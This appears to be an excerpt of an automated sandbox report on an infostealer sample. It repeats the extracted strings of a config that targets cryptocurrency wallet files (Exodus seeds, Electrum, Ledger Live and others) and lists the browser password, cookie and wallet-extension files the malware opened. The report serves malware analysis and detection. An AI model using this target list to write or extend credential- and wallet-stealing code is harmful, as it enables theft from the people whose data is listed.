Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2432002619.0000000000A84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
